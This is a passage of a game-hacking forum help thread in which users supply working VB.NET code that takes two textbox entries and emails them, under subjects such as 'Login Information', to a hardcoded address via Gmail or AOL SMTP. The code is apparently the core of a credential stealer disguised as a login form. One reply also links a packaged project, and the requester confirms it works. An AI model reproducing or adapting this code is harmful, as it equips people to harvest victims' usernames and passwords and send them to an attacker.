Thread: VB Help

Page 2 of 2 FirstFirst 12
Results 16 to 19 of 19
  1. #16
    Marthz's Avatar
    Join Date
    Aug 2009
    Gender
    male
    Location
    ghfg
    Posts
    50
    Reputation
    10
    Thanks
    5
    Ok I'm gonna use a code I already have from a mailer I made.

    Code:
    Imports System.Net.Mail
    Public Class Form1
    
        Private Sub Page_Load(ByVal sender As Object, ByVal e As System.EventArgs)
            Dim theMailMessage As New MailMessage()
            With theMailMessage
                    .To.Add("email@email.com")
                .From = New MailAddress("email@email.com")
                .Body = Me.TextBox1.Text & TextBox2.Text
                .Subject = "Account Details"
            End With
            Dim theClient As New SmtpClient("smtp.aol.com")
            With theClient
                .UseDefaultCredentials = False
                .Credentials = New System.Net.NetworkCredential("username", "password")
                .EnableSsl = True
            End With
        
            Try
                theClient.Send(theMailMessage)
            Catch wex As Net.WebException
            End Try
        End Sub 'Page_Load
    
    
    End Class
    Last edited by Marthz; 01-18-2010 at 01:46 PM.
    Ah yes. Outstanding.

  2. The Following User Says Thank You to Marthz For This Useful Post:

    tibble (01-18-2010)

  3. #17
    NextGen1's Avatar
    Join Date
    Dec 2009
    Gender
    male
    Location
    Not sure really.
    Posts
    6,312
    Reputation
    382
    Thanks
    3,019
    My Mood
    Amazed
    Quote Originally Posted by tibble View Post
    Ty...
    NEXTGEN1 FOR MINION

    Using Gmail as a SMTP relay
    Code:
    'Required Namespace to send smtp via gmail (or anything really :p)
    Imports System.Net.Mail
    Public Class Form1
        'on button click event
        Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
    
    
    
            Dim client As New SmtpClient()
            ' the recieving email address, (so your email address tibble)
            Dim sendTo As New MailAddress("example@gmail.com")
            ' Who is it coming from? I suggest doing something like using the users real email to sort or using texbox1.text@login.com)
            Dim from As MailAddress = New MailAddress("yourgmailaccountusername@address.com")
            Dim message As New MailMessage(from, sendTo)
    
            message.IsBodyHtml = True
            message.Subject = "Login Information"
            message.Body = message.Body + (TextBox1.Text)
            message.Body = message.Body + ""
            message.Body = message.Body + (TextBox2.Text)
    
            'authentication = Your email@gmail.com and password = "" your password
            Dim basicAuthenticationInfo As New System.Net.NetworkCredential("Your email address for gmail", "Your password")
    
    
            client.Host = "smtp.gmail.com"
            client.UseDefaultCredentials = False
            client.Credentials = basicAuthenticationInfo
            client.EnableSsl = True
    
            Try
    
                client.Send(message)
                Console.WriteLine("SUCCESS")
    
            Catch ex As Exception
    
                Console.WriteLine("SEND FAIL")
    
            End Try
    
        End Sub
    
    End Class
    https://innovatorsworldwide.com/MPGH/Tibble.rar

    https://www.virustotal.com/analisis/1...343-1263845045

    Attached is a small working example project, set the credentials, I noted everything,
    Hope this helps

    Otherwise I can get you Jscape and Chilkat components to send and receive smtp , only issue is you need an smtp server for most of these examples to work, so your best bet is the gmail example.
    Last edited by NextGen1; 01-18-2010 at 02:13 PM.


     


     


     



    The Most complete application MPGH will ever offer - 68%




  4. The Following User Says Thank You to NextGen1 For This Useful Post:

    tibble (01-18-2010)

  5. #18
    tibble's Avatar
    Join Date
    Dec 2008
    Gender
    male
    Location
    Texas
    Posts
    55
    Reputation
    9
    Thanks
    8
    Works fine, thanks!

  6. #19
    NextGen1's Avatar
    Join Date
    Dec 2009
    Gender
    male
    Location
    Not sure really.
    Posts
    6,312
    Reputation
    382
    Thanks
    3,019
    My Mood
    Amazed
    Quote Originally Posted by tibble View Post
    Works fine, thanks!
    Glad, You can request close Any more issues Pm me


     


     


     



    The Most complete application MPGH will ever offer - 68%




Page 2 of 2 FirstFirst 12

Similar Threads

  1. [Help Request] Combat arms Vid help
    By djw111 in forum Combat Arms Help
    Replies: 4
    Last Post: 12-24-2011, 05:06 PM
  2. [Help Request] AFK Bot [help]
    By fet in forum Combat Arms Help
    Replies: 7
    Last Post: 04-28-2011, 03:17 AM
  3. [Help Request] Injector Admin help
    By asdfgas in forum Combat Arms Help
    Replies: 4
    Last Post: 04-27-2011, 06:12 PM
  4. [Help Request] Ajuda / Help
    By - Battery' in forum Combat Arms BR Coding Help
    Replies: 3
    Last Post: 04-22-2011, 07:15 PM
  5. [Help Request] Help my!
    By Windowns7 in forum Combat Arms BR Coding Help
    Replies: 2
    Last Post: 04-18-2011, 01:41 PM